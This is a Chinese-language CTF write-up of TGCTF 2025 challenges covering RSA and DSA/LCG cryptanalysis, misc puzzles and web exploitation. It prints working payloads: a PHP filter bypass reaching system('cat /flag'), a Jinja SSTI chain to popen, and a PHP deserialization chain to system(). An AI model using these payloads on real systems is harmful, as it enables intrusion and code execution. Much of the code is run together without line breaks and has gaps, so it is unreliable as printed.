UKY 2025TGCTF WP

admin 2025年4月16日09:20:53评论1 views字数 59502阅读198分20秒阅读模式
本次比赛中,UKFC子队UKY夺得名次20名。
Crypto
AAAAAAAA真签到
比较简单的移位加密。根据开头为TGCTF找出规律。让AI思考了下,结果直接就出来了。
defdecrypt(ciphertext):    plaintext = []for i, c in enumerate(ciphertext):if c.isalpha():# 计算移位量:shift = 1 - i            shift = 1 - i# 将字符转换为大写并计算字母表位置(A=0, B=1,...)            c_code = ord(c.upper()) - ord('A')# 解密公式:明文字母位置 = (c_code - shift) % 26            p_code = (c_code - shift) % 26# 转回ASCII字符并保持大写            plaintext.append(chr(p_code + ord('A')))else:# 非字母字符直接保留            plaintext.append(c)return''.join(plaintext)ciphertext1 = "UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}"plaintext1 = decrypt(ciphertext1)print("解密结果1:", plaintext1)#TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}
TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}
费克特尔
factordb直接就能分解n。
from Crypto.Util.number import *from gmpy2 import *c=670610235999012099846283721569059674725712804950807955010725968103642359765806n=810544624661213367964996895060815354972889892659483948276203088055391907479553e=65537a1=113a2=18251a3=2001511a4=214168842768662180574654641a5=916848439436544911290378588839845528581phi=(a1-1)*(a2-1)*(a3-1)*(a4-1)*(a5-1)d=gmpy2.invert(e,phi)m=pow(c,d,n)print(long_to_bytes(m))#TGCTF{f4888_6abdc_9c2bd_9036bb}
TGCTF{f4888_6abdc_9c2bd_9036bb}
tRwSiAns
UKY 2025TGCTF WP
利用多项式的辗转相除法求出这个因子,即可解出m
import hashlibfrom Crypto.Util.number import *from gmpy2 import *defcompositeModulusGCD(a, b):if(b == 0):return a.monic()else:return compositeModulusGCD(b, a % b)   deffranklinReiter(n,e,c1,c2,a,b):    R.<X> = Zmod(n)[]    f1 = X^e - c1    f2 = (X*a+ b)^e - c2return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0]) # 系数defhash(x):return int(hashlib.md5(str(x).encode()).hexdigest(), 16)n = 100885785256342169056765112203447042910886647238787490462506364977429519290706204521984596783537199842140535823208433284571495132415960381175163434675775328905396713032321690195499705998621049971024487732085874710868565606249892231863632731481840542506411757024315315311788336796336407286355303887021285839839e = 3c1 = 41973910895747673899187679417443865074160589754180118442365040608786257167532976519645413349472355652086604920132172274308809002827286937134629295632868623764934042989648498006706284984313078230848738989331579140105876643369041029438708179499450424414752031366276378743595588425043730563346092854896545408366c2 = 41973912583926901518444642835111314526720967879172223986535984124576403651553273447618087600591347032422378272332279802860926604693828116337548053006928860031338938935746179912330961194768693506712533420818446672613053888256943921222915644107389736912059397747390472331492265060448066180414639931364582445814x1, x2 = 3077x1=hash(x1)x2=hash(x2)a=1b=x2-x1R.<X> = Zmod(n)[]f1 = X^e - c1f2 = (X*a+ b)^e - c2#print(compositeModulusGCD(f1, f2))print(long_to_bytes(franklinReiter(n,e,c1,c2,a,b)-x1))#TGCTF{RS4_Tw1nZ_d0You_th1nk_ItS_fun_2win?!!!1111111111}
TGCTF{RS4_Tw1nZ_d0You_th1nk_ItS_fun_2win?!!!1111111111}
宝宝RSA
分为两个part
part1,质数p1和q1已知,e1的位数最多为18bit,直接爆破
part2,e2=3很小,而且c2与n2相差很大,所以猜测m的3次方仍然小于n2,直接开根
from Crypto.Util.number import *from gmpy2 import *from sympy import *from tqdm import *p1 = 8362851990079664018649774360159786938757293294328116561219351503022492961843907118845919317399785168488103775809531198339213009936918460080250107807031483q1 = 8312546034426788223492083178829355192676175323324230533451989649056072814335528263136523605276378801682321623998646291206494179416941978672637426346496531c1 = 39711973075443303473292859404026809299317446021917391206568511014894789946819103680496756934914058521250438186214943037578346772475409633145435232816799913236259074769958139045997486622505579239448395807857034154142067866860431132262060279168752474990452298895511880964765819538256786616223902867436130100322n1=p1*q1for e in trange(2**17,2**18):if gcd(e,(p1-1)*(q1-1))!=1:continue  d=inverse(e,(p1-1)*(q1-1))  m=long_to_bytes(pow(c1,d,n1))ifb'TGCTF{'in m:    print(m)breakn2 = 103873139604388138367962901582343595570773101048733694603978570485894317088745160532049473181477976966240986994452119002966492405873949673076731730953232584747066494028393377311943117296014622567610739232596396108513639030323602579269952539931712136467116373246367352649143304819856986264023237676167338361059c2 = 51380982170049779703682835988073709896409264083198805522051459033730166821511419536113492522308604225188048202917930917221e2 = 3mm,a=iroot(c2,3)print(long_to_bytes(mm))#TGCTF{!!3xP_Is_Sm@ll_But_D@ng3r0}
TGCTF{!!3xP_Is_Sm@ll_But_D@ng3r0}
mm不躲猫猫
看着好唬人,60组n和c。一开始想着是不是得用中国剩余定理,结果并不行。其实只需要让n两两求gcd,只要有不为1的最大公因数就能分解对应的n。
我就随便试了下,结果n1和n3有不为1的结果。后面就是常规的做法。
from Crypto.Util.number import *from gmpy2 import *from math import gcde=65537n1 = 104620414822063385079326749509982471870030893600285414264987224935916290272601764523383209465433613538037960991762459760833469310204135961581840403511596166088644211015428546275493892988418626726155859624501730928694822384537353845736516967991087412959351952563730377463899768183476698424362423043497737906623c1 = 46039211893589761388229614285558239355119695176816949068907191054207506730440947101388028710988726734999719468830467682553990941948390688315715650976965231516653707125993971747796355564587123089802425266994022342763366946693028597366959030863496254672081216842747104144465753908738135854355761032614829767801n3 = 97838166150880996322271330309067876274369629304288765249967974468367105054047299499596040632925907384502862419004673114223665726506104837885822909371569060745589002030380969587694083056125880529762088534900418072441378759571612290245967363366712440121861026216057485493561216431656619679041625036650956580141c3 = 13964437454524296084510225903229161859257123876632697866040207708487126396198332364645709267606449694929792345209792570053510791963531448336253575726210469465864539890677252499866753713612441273667882500168058017224495736582505959700480874460389262074140652815959688469055699161959913579169401470659235115109print(gcd(n1,n3))#p=8966982846196321583218732818156212338929358106653027903288099594075033180211918114777730737751247653195936571427074856051307498770294940971178276714212171q=n1//pphi=(p-1)*(q-1)d=gmpy2.invert(e,phi)m=pow(c1,d,n1)print(long_to_bytes(m))#TGCTF{ExcePt10n4lY0u_Fl4gF0rY0u_555b0nus}
TGCTF{ExcePt10n4lY0u_Fl4gF0rY0u_555b0nus}
EZRSA
是一个RSA,已知p低位,用coppersmith解出p的题
但p和q是由emoji表情产生的,给出的p低位数据也是emoji表情,emoji和数字的转化方式并没有给出
p为512bit,直接产生高224bit的数字,剩下的288bit由9个emoji表情拼接,一个emoji为32bit
而题中给出的p低位只有8个emoji,也就是512bit的p仅已知256bit,已知太少估计直接解解不出来
所以猜测需要把题中没有给出的emoji爆破出来,再去解p
所以解题,首先需要猜出emoji和数字的转化方式,其次要爆破出未给出的emoji
猜emoji是编码成数字的,应该是utf-8,因为输出p0的时候直接用的long_to_bytes().decode()
而爆破出未给出的emoji,出题人用的哪个emoji版本也不知道,网上搜编码范围一个一个试
这里解出p
#sagefrom Crypto.Util.number import *from gmpy2 import *from tqdm import *deft(x):  emoji=x  a = 0for i in range(len(emoji)):    u=emoji[i].encode()    v = int.from_bytes(u, byteorder='big')    shift = (len(x)-1-i) * 32    a += v << shiftreturn ap0 = '😘😾😂😋😶😾😳😷'e = "💯"n = 156583691355552921614631145152732482393176197132995684056861057354110068341462353935267384379058316405283253737394317838367413343764593681931500132616527754658531492837010737718142600521325345568856010357221012237243808583944390972551218281979735678709596942275013178851539514928075449007568871314257800372579c = 47047259652272336203165844654641527951135794808396961300275905227499051240355966018762052339199047708940870407974724853429554168419302817757183570945811400049095628907115694231183403596602759249583523605700220530849961163557032168735648835975899744556626132330921576826526953069435718888223260480397802737401p0=t(p0)for em9 in trange(0x1F600,0x1FAFF+1):    F.<x> = PolynomialRing(Zmod(n), implementation='NTL')    f = x * 2**(288) + bytes_to_long(chr(em9).encode())*(2**256) + p0    f = f.monic()    roots = f.small_roots(X=2^224,beta=0.4,epsilon=0.03)if roots !=[]:        print(roots)        print(em9)#x=24983429965532426455110187127560229529270562443137951827166860773923#em9=128518
结果发现e与phi(n)不互素,把式子拆开之后用AMM直接开根,最后用CRT把解出的一次同余式子合起来,筛选正确的结果(flag居然是emoji表情……一开始还以为解错了)
from Crypto.Util.number import *from gmpy2 import *from sympy import *from tqdm import *import random import mathdeft(x):  emoji=x  a = 0for i in range(len(emoji)):#u=emoji[i].encode('utf-32-be')    u=emoji[i].encode()    v = int.from_bytes(u, byteorder='big')    shift = (len(x)-1-i) * 32    a += v << shiftreturn an = 156583691355552921614631145152732482393176197132995684056861057354110068341462353935267384379058316405283253737394317838367413343764593681931500132616527754658531492837010737718142600521325345568856010357221012237243808583944390972551218281979735678709596942275013178851539514928075449007568871314257800372579c = 47047259652272336203165844654641527951135794808396961300275905227499051240355966018762052339199047708940870407974724853429554168419302817757183570945811400049095628907115694231183403596602759249583523605700220530849961163557032168735648835975899744556626132330921576826526953069435718888223260480397802737401p0 = '😘😾😂😋😶😾😳😷'e = "💯"e=t(e)p0=t(p0)x=24983429965532426455110187127560229529270562443137951827166860773923em9=128518p = x * 2**(288) + bytes_to_long(chr(em9).encode())*(2**256) + p0q=n//pphi=(q-1)*(p-1)ee=e//15d=inverse(ee,phi)m15=pow(c,d,n)cp=pow(m15,inverse(3,p-1),p) # cp = m^5 mod pcq=pow(m15,inverse(5,q-1),q) # cq = m^3 mod qdefonemod(e, q):    p = random.randint(1, q-1)while(pow(p, (q-1)//e, q) == 1):          p = random.randint(1, q)return pdefAMM_rth(o, r, q):assert((q-1) % r == 0)    p = onemod(r, q)    t = 0    s = q-1while(s % r == 0):        s = s//r        t += 1    k = 1while((s*k+1) % r != 0):        k += 1    alp = (s*k+1)//r    a = pow(p, r**(t-1)*s, q)    b = pow(o, r*a-1, q)    c = pow(p, s, q)    h = 1for i in range(1, t-1):        d = pow(int(b), r**(t-1-i), q)if d == 1:            j = 0else:            j = (-math.log(d, a)) % r        b = (b*(c**(r*j))) % q        h = (h*c**j) % q        c = (c*r) % q    result = (pow(o, alp, q)*h)return resultdefALL_ROOT2(r, qq):    li = set()while(len(li) < r):        pp = pow(random.randint(1, qq-1), (qq-1)//r, qq)        li.add(pp)return lidefALL_Solution(m, q, rt, cq, e):    mp = []for pr in rt:        r = (pr*m) % q        mp.append(r)return mpdefcheck(m):try:        a = long_to_bytes(m)ifb'TGCTF{'in a:             a = bytearray(long_to_bytes(m))            print('TGCTF{'+a[6:-(4*5+1)].decode()+'}')returnTrueelse:returnFalseexcept:returnFalsedefcalc(mp, mq, p, q):    i = 1    j = 1    t1 = invert(q, p)    t2 = invert(p, q)for mp1 in mp:for mq1 in mq:            j += 1if j % 100000 == 0:                print(j)            ans = (mp1*t1*q+mq1*t2*p) % (p*q)if check(ans):returnreturnmp=AMM_rth(cp,5,p)mq=AMM_rth(cq,3,q)rt1 = ALL_ROOT2(5, p)  rt2 = ALL_ROOT2(3, q)amp = ALL_Solution(mp, p, rt1, cp, 5)  amq = ALL_Solution(mq, q, rt2, cq, 3)calc(amp, amq,p, q)#TGCTF{🙇🏮🤟_🫡🫡🫡_🚩🚩🚩}
TGCTF{🙇🏮🤟_🫡🫡🫡_🚩🚩🚩}
LLLCG
与其说是LCG,不如说是LFSR(
熟悉题目:
题目实现了DSA签名,其中DSA的随机数k是用魔改过的三重LCG产生的
三个part,前两个part可以求出DSA的全部参数,第三个part则让让我们自己签名一段信息,如果签名正确,那么返回flag
各个部分的细节:
三重LCG的实现:随机数产生的递推公式 UKY 2025TGCTF WP,和LFSR很相似
上一次随机的种子依次移一位(像是欧几里得算法那样)作为下一次的随机种子
攻击方式应该也和LFSR一样,都是有限域n下的线性方程,知道了n和一定数量的随机数后,即可解方程求出参数a,b,c,d
一、基础生成
UKY 2025TGCTF WP

二、签名流程

UKY 2025TGCTF WP

三、认证流程

UKY 2025TGCTF WP

但是实际上这个认证不用管,把参数求出来就行了,认证是题目的事情(

输出 DSA 公钥部分:

UKY 2025TGCTF WP

此时整个 DSA 中未知量仅为 x,k,r,s,因为 r 和 s 是签名结果,所以知道了 k 和 x 就相当于知道了 DSA 的全部信息了

part1:

12 次循环,每一次自己输入 msg,返回 r 和 ks

在每一次循环中

UKY 2025TGCTF WP

因此可以 CRT 解出每一次循环的 k,也就是已知了 12 个三重 LCG 随机数

个人推测构造 gcd 解出 LCG 的模 n(没模啥也算不了),再解 12 个方程的方程组即可解出参数 abcd

之后的所有随机数便都可预测

part2:

经过 part1,DSA 中的 k 已知,此时传入 msg,输出 s 和 r

在这里需要用 

UKY 2025TGCTF WP

求出 x

part3:

自己随便传入一个新的 msg,并传入自己算出来的签名

如果前面的 DSA 参数恢复正确,就能得到 flag 了

from random import *from Crypto.Util.number import *from sage.all import *from pwn import *from hashlib import *class TripleLCG:    def __init__(self, seed1, seed2, seed3, abc, d, n):        self.state = [seed1, seed2, seed3]        self.a = a        self.b = b        self.c = c        self.d = d        self.n = n    def next(self):new = (self.a * self.state[-3] + self.b * self.state[-2] + self.c * self.state[-1] + self.d) % self.n        self.state.append(new)returnnewio=remote('node1.tgctf.woooo.tech',30883)io.recvuntil(b'p = ')p=int(io.recvuntil(b',')[:-1].strip().decode())io.recvuntil(b'q = ')q=int(io.recvuntil(b',')[:-1].strip().decode())io.recvuntil(b'g = ')g=int(io.recvuntil(b',')[:-1].strip().decode())io.recvuntil(b'y = ')y=int(io.recvline().strip().decode())#___________________part1_________________________io.sendlineafter(b'[-] ',b'1')ss=[]for i in range(12):    io.sendlineafter(b'[-] ',b'UKY')    io.recvuntil(b'ks = ')    ks=eval(io.recvline().strip().decode())    ss.append(ks)small_primes = [590936537137337437595285939541604576146943711]def crt(n_list, c_list):    n = 1for i in n_list:        n *= iN = []for i in n_list:N.append(n//i)    t = []for i in range(len(n_list)):        t.append(inverse(N[i], n_list[i]))    summary = 0for i in range(len(n_list)):        summary = (summary + c_list[i]*t[i]*N[i]) % nreturn summarys=[]for i in range(12):    s.append(crt(small_primes, ss[i]))diffs = 
展开收缩
- s[i] 
for i in range(len(s)-1)]A = matrix(ZZ,[    [diffs[0], diffs[1], diffs[2]],    [diffs[1], diffs[2], diffs[3]],    [diffs[2], diffs[3], diffs[4]]])B = vector(ZZ,[diffs[3], diffs[4], diffs[5]])det = A.determinant()if det != 0:abc = A.solve_right(B)abc = abc[0], abc[1], abc[2]def gn(i):    lhs = diffs[i+3]    rhs = a * diffs[i] + b * diffs[i+1] + c * diffs[i+2]nn = abs(lhs - rhs)returnnn.numerator()n=gcd(gn(0),gn(1))for i in range(2,8):    n=gcd(gn(i),n)B=Matrix(Zmod(n),4,4)for i in range(4):forj in range(4):ifj<3:            B[i,j]=s[j+i]else:            B[i,-1]=1v=vector(
展开收缩
,s[
4],s[5],s[6]])pm=B.solve_right(v)a,b,c,d=list(pm)lcg = TripleLCG(s[9], s[10], s[11], abc, d, n)#__________________________part2___________________________io.sendlineafter(b'[-] ',b'2')io.sendlineafter(b'[-] ',b'UKY')io.recvuntil(b'r = ')r=int(io.recvuntil(b',')[:-1].strip().decode())io.recvuntil(b's = ')s=int(io.recvline().strip().decode())for _ in range(307):k = lcg.next()f=Zmod(q)k=f(lcg.next())h = bytes_to_long(sha256(b'UKY').digest())x=f((s*k-h)*inverse(r,q))def sign(p,q,g,x,msg,k):    h = bytes_to_long(sha256(msg).digest())    r = (pow(g, kp))%q    s = (inverse(k, q) * (h + x * r))%qreturn (r, s)for _ in range(9):    io.sendlineafter(b'[-] ',b'UKY')    lcg.next()#____________________________part3______________________________io.sendlineafter(b'[-] ',b'3')io.sendlineafter(b'[-] ',b'bbbb')k=int(lcg.next())rr, ss=sign(p,q,g,x,b'bbbb',k)print(rr)io.sendlineafter(b'[-] ',str(rr).encode())io.sendlineafter(b'[-] ',str(ss).encode())io.interactive()#TGCTF{3f607017-c082-65ca-265d-96d1fcd6630b}
TGCTF{3f607017-c082-65ca-265d-96d1fcd6630b}
Misc
这是啥o_o
首先得到了一个文件,名为“有一天我们会接受ai吗”,随波逐流打开可以知道这是一个gif文件,添加后缀gif,可以发现有31张图片在里面,然后在尾部看到九张汉信码的碎片,裁剪出:
UKY 2025TGCTF WP
之后再拼接它们:
UKY 2025TGCTF WP
如上图,用中国编码扫码得到:time is your fortune ,efficiency is your life
UKY 2025TGCTF WP
但是这里还不是最终的答案,这里time is your fortune ,efficiency is your life是个hint
关键词:时间,效率
因为原来文件是gif文件,所以可以先用exiftool查看,检查 GIF 文件的创建/修改时间戳,可能是十六进制或 Base64 编码的线索:
UKY 2025TGCTF WP
没有啥信息,但是Duration: 30.94 秒,那么我们可以去考虑帧延迟
使用 identify -format "%Tn" 有一天我们会接受ai吗.gif查看帧延迟列表:
得到:
UKY 2025TGCTF WP
将十进制数转换为ASCII,得到:
TGCTF{You_caught_up_with_time!}
next is the end
简单的文件夹嵌套,脚本秒了
import osimport timeimport platformimport subprocessdefopen_current_folder():    current_path = os.getcwd()    os.startfile(current_path)defnavigate_folders():    print("文件夹导航脚本已启动,按Ctrl+C停止...")try:whileTrue:# 获取当前目录下所有非隐藏的文件夹            subdirs = [d for d in os.listdir() if os.path.isdir(d) andnot d.startswith('.')]if subdirs:# 进入第一个找到的非隐藏子文件夹                target_dir = subdirs[0]                print(f"进入文件夹: {target_dir}")                os.chdir(target_dir)else:# 没有子文件夹时打开当前文件夹                print("没有子文件夹,打开当前目录")                open_current_folder()                time.sleep(5)except KeyboardInterrupt:        print("n脚本已停止")if __name__ == "__main__":    navigate_folders()
flag{so_great!}
你的运气是好是坏
纯猜的:114514
TGCTF{114514}
where_it_is
社工题:
UKY 2025TGCTF WP
我们需要在图片里找到关键的信息
UKY 2025TGCTF WP
简单签到,关注:”杭师大网安“谢谢喵🐱
关注:”杭师大网安“谢谢喵🐱,并发送“欢迎参加TGCTF"获得flag:
TGCTF{Efforts_to_create_the_strength, attitude_determines_altitude.}
Web
AAA偷渡阴平
UKY 2025TGCTF WP
php正则表达式的绕过,使用了preg_match()进行过滤:
  • 禁止数字:0|1|[3-9](注意到2没有被过滤,可能会用到)
  • 禁止大量特殊字符:~@#$%^&*()-=+{[]}:'",<.>/?
  • 可以使用的:大小写字母2|_!();
可以使用?tgctf2025=print_r来输出内容
查看环境变量:?tgctf2025=print_r(getenv());
UKY 2025TGCTF WP
但是显示这里没有flag。
?tgctf2025=print_r(scandir(__DIR__));查看目录内容:
UKY 2025TGCTF WP
上级目录:?tgctf2025=print_r(scandir(dirname(__DIR__)));
UKY 2025TGCTF WP
通过套娃可以找到flag
UKY 2025TGCTF WP
这里想起了之前遇到的一些数组函数,拿来用一下
GET:?tgctf2025=print_r(array_rand(array_flip(scandir(dirname(dirname(dirname(getcwd())))))));
这样能得到其文件名,用hightlight_file替代print_r
GET:?tgctf2025=highlight_file(array_rand(array_flip(scandir(dirname(dirname(dirname(getcwd())))))));
UKY 2025TGCTF WP
但是无法读取,file_exists显示文件存在,应该是权限问题?用同样的方式读取index.php是没有问题的
发现使用get_defined_vars()可以回显全局变量$_GET、$_POST、$_FILES、$_COOKIE,返回数组顺序为$_GET-->$_POST-->$_COOKIE-->$_FILES
传参:?tgctf2025=eval(end(current(get_defined_vars())));&b=system('ls /');
UKY 2025TGCTF WP
?tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /flag');
得到flag
UKY 2025TGCTF WP
TGCTF{aeb6a2a6-2881-8093-327d-3180f9f94ffd}
火眼辩魑魅
查看robots.txt:
UKY 2025TGCTF WP
得到许多路径。依次访问,是不同的web关卡。
第一关tgupload.php
UKY 2025TGCTF WP
文件上传题目,提示:
UKY 2025TGCTF WP
尝试上传一句话木马,发现上传失败
UKY 2025TGCTF WP
所有关卡源码:
<?php//tgupload.phpif(isset($_FILES['file'])) {$uploadDir = 'uploads/';if(!file_exists($uploadDir)) {        mkdir($uploadDir, 0777true);    }    $fileName = basename($_FILES['file']['name']);    $fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));    $allowedExtensions = ['php''jpg''png'];if(!in_array($fileExtension, $allowedExtensions)) {die("只允许上传php、jpg、png格式的文件!");    }    $tmpFile = $_FILES['file']['tmp_name'];if ($fileExtension === 'php') {        $filteredContent="最安全的waf:TGwaf将你拦下了!";        file_put_contents($tmpFile, $filteredContent);    }    $uploadFile = $uploadDir . $fileName;if(move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {echo"文件已保存到:$uploadFile !";    } else {echo"文件保存出错!";    }}else{echo"冲啊!文件上传!";}?><?php//tgshell.phpif ($_POST["shell"]){     $shell=$_POST["shell"];     if(!preg_match("/openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|eval|assert|flag|passthru|exec|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore/i", $shell))     {        eval($shell);     }     else{         die("你明明知道你被waf了,为什么还在尝试?。?");     else{     echo"哇,贞德是你鸭!"; } ?><?php//tgxff.phperror_reporting(0);                 require'./Smarty/libs/Smarty.class.php';                 $smarty = new Smarty();                 $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];                 echo"OvO 你电脑的IP是:";                 $smarty->display("string:".$ip);                 ?><?php//tgser.phperror_reporting(0); classroad{publicfunction__get($arg1){$blacklist = ['DirectoryIterator''Error''Exception''SoapClient''FilesystemIterator''SimpleXMLElement''GlobIterator''ReflectionClass''ReflectionObject'];array_walk($thisfunction($day1, $day2)use($blacklist){if (in_array($day2, $blacklist)) {die('hacker');}$day3 = new $day2($day1);foreach ($day3 as $day4) {echo ($day4 . '<br>');}         });     }  classriver{     public $fish;     public $shark;     publicfunction__invoke(){         if (md5($this->fish) == $this->fish) {             return$this->shark->upper;         }     } }  classsky{     public $bird;     public $eagle;     publicfunction__construct($a){         $this->bird = $a;     }     function__destruct(){         echo$this->bird;     }     publicfunction__toString(){         $newFunc = $this->eagle;         return $newFunc();     $way=$_POST['J']; @unserialize(base64_decode($way)); ?><?php//tgphp.phperror_reporting(0);     $code = $_GET['code'] ?? '';     $white_list = ['0''1''2''3''4''5''6''7''8''9''$''\'';'];     for ($i = 0; $i < strlen($code); $i++) {         $char = $code[$i];         if (!in_array($char, $white_list)) {             die("检测到非法字符: " . htmlspecialchars($char) . "!只允许使用数字0-9和小部分符号哦!");         }     }     eval($code); ?><?php//tginclude.phpif(isset($_POST['file']) && !empty($_POST['file'])) {     $file = $_POST['file'];     $content=file_get_contents($file);     echo $content; } else{     echo"应该包含什么文件呢?好难猜~"?>
tgshell.php是入口点
UKY 2025TGCTF WP
UKY 2025TGCTF WP
TGCTF{a1a58d70-42ed-c158-d639-52fbacd93846} 
直面天命
UKY 2025TGCTF WP
如图所示,需要一个密钥,这是一个/jingu路由的POST传参,看来会返回传入的内容。试一下ssti{{7*7}}
结果是只要花括号闭合,就会有以下回显:
UKY 2025TGCTF WP
注释提示有/hint,要找一个四个小写英文字母组成的路由。
UKY 2025TGCTF WP
于是生成了个字典,用burp爆破了一下,找到了/aazz路由,本页面可以传参
UKY 2025TGCTF WP
看到响应头content-disposition有个filename,再结合hint说要读取源代码,猜测参数可能就是filename
UKY 2025TGCTF WP
可以传filename的参数
UKY 2025TGCTF WP
import osimport stringfrom flask import Flask, request, render_template_string, jsonify, send_from_directoryfrom a.b.c.d.secret import secret_keyapp = Flask(__name__)black_list = ['{''}''popen''os''import''eval''_''system''read''base''globals']defwaf(name):for x in black_list:if x in name.lower():returnTruereturnFalsedefis_typable(char):# 定义可通过标准 QWERTY 键盘输入的字符集    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespacereturn char in typable_chars@app.route('/')defhome():return send_from_directory('static''index.html')@app.route('/jingu', methods=['POST'])defgreet():    template1 = ""    template2 = ""    name = request.form.get('name')    template = f'{name}'if waf(name):        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br>Image'else:        k = 0for i in name:if is_typable(i):continue            k = 1breakif k == 1:ifnot (secret_key[:2in name and secret_key[2:]):                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br>Image'return render_template_string(template)    template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"    template = template.replace("直面""{{").replace("天命""}}")    template = templateif"cat"in template:        template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br>Image'try:return template1 + render_template_string(template) + render_template_string(template2)except Exception as e:        error_message = f"500报错了,查询语句如下:<br>{template}"return error_message, 400@app.route('/hint', methods=['GET'])defhinter():    template = "hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"return render_template_string(template)@app.route('/aazz', methods=['GET'])deffinder():    filename = request.args.get('filename''')if filename == "":return send_from_directory('static''file.html')ifnot filename.replace('_''').isalnum():        content = jsonify({'error''只允许字母和数字!'}), 400if os.path.isfile(filename):try:with open(filename, 'r'as file:                content = file.read()return contentexcept Exception as e:return jsonify({'error': str(e)}), 500else:return jsonify({'error''路径不存在或者路径非法'}), 404if __name__ == '__main__':    app.run(host='0.0.0.0', port=80)
UKY 2025TGCTF WP
找到secret_key
代码逻辑为判断传入name是否有不可通过标准键盘输入的字符,若有,且name不包含'直面',即secret_key前两位则返回“六根不全”。之后是将直面,天命分别替换成{{,}},接下来绕过黑名单就行
UKY 2025TGCTF WP
在本地拿fenjing梭了一下,然后略加修改得到以下payload
name=直面g.pop[("%c"%95)*2+'g''lobals'+("%c"%95)*2][("%c"%95)*2+'builtins'+("%c"%95)*2][("%c"%95)*2+'i''mport'+("%c"%95)*2]('so'[::-1])['p''open']('cat /')['r''ead']()天命
但本地可以出的在题目环境里变成500了,先去排查一下是不是环境问题了,好像不是,过滤器也试过,不可以
看到这道题的复仇版说将文件读取功能改成了读源码,怀疑是不是不用ssti注入,尝试了一下
UKY 2025TGCTF WP
TGCTF{3fbe9661-3bc7-f825-8d06-0374ea20e948}
TG_wordpres
UKY 2025TGCTF WP
在网站内随便点点,发现提示。
同时根据题目,得知flag就是CVE的编号:
UKY 2025TGCTF WP
我们解锁hint:
UKY 2025TGCTF WP
根据提示,存在DS泄露,于是进入/.DS_Store
UKY 2025TGCTF WP
进入我们可以发现到达根目录。
进入/crypt/,发现密码题——一个.bin文件和RSA私钥。
解密脚本:
from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPwith open("out.pem""r"as f:    private_key = RSA.import_key(f.read())with open("hint.bin""rb"as f:    encrypted_data = f.read()cipher = PKCS1_OAEP.new(private_key)decrypted_data = cipher.decrypt(encrypted_data)print("解密结果:", decrypted_data.decode("utf-8"))
解密结果:
UKY 2025TGCTF WP
解密得到了用户名和密码
这应该是进入后台的账密 ,那么如何进入后台呢?
由于提示存在robots泄露,我们查看robots.txt:
UKY 2025TGCTF WP
仔细审查后发现并没有disallow wp-login.php,说明我们可以访问它来进入登录页面。
UKY 2025TGCTF WP
尝试登录,成功进入后台:
UKY 2025TGCTF WP
接下来需要找到CVE漏洞
我们可以发现已安装的插件:
UKY 2025TGCTF WP
其中,第二个插件根据搜索,存在高危CVE漏洞:
UKY 2025TGCTF WP
得到结果。
TGCTF{CVE-2020-25213}
什么文件上传?
题目为文件上传,提示机器人,查看robots.txt
UKY 2025TGCTF WP
上面除了class.php,都不能访问。其源码,看上去是反序列化
<?php//classs.php    highlight_file(__FILE__);     error_reporting(0); functionbest64_decode($str)return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));     } classyesterdaypublic $learn; public $study="study"public $try; publicfunction__construct()$this->learn = "learn<br>"        } publicfunction__destruct()echo"You studied hard yesterday.<br>"return$this->study->hard();         }     } classtodaypublic $doing; public $did; public $done; publicfunction__construct()$this->did = "What you did makes you outstanding.<br>"        } publicfunction__call($arg1, $arg2)$this->done = "And what you've done has given you a choice.<br>"echo$this->done; if(md5(md5($this->doing))==666){ return$this->doing();             } elsereturn$this->doing->better;             }         }     } classtommorawpublic $good; public $bad; public $soso; publicfunction__invoke()$this->good="You'll be good tommoraw!<br>"echo$this->good;         } publicfunction__get($arg1)$this->bad="You'll be bad tommoraw!<br>"        }     } classfutureprivate $impossible="How can you get here?<br>"private $out; private $no; public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20; publicfunction__set($arg1, $arg2)if ($this->out->useful7) { echo"Seven is my lucky number<br>"                system('whoami');             }         } publicfunction__toString()echo"This is your future.<br>"            system($_POST["wow"]); return"win"        } publicfunction__destruct()$this->no = "no"return$this->no;         }     } if (file_exists($_GET['filename'])){ echo"Focus on the previous step!<br>"    } else        $data=substr($_GET['filename'],0,-4);         unserialize(best64_decode($data));     } // You learn yesterday, you choose today, can you get to your future? ?>
链子如下:
<?phpclassyesterday{public $study;}classtoday{public $doing;}classfuture{public $useful1; }$future = new future();$today = new today();$today->doing = $future;$yesterday = new yesterday();$yesterday->study = $today;$payload = serialize($yesterday);for ($i = 0; $i < 5; $i++) {    $payload = base64_encode($payload);}echo"filename=" . urlencode($payload . ".php");?>
Payload:
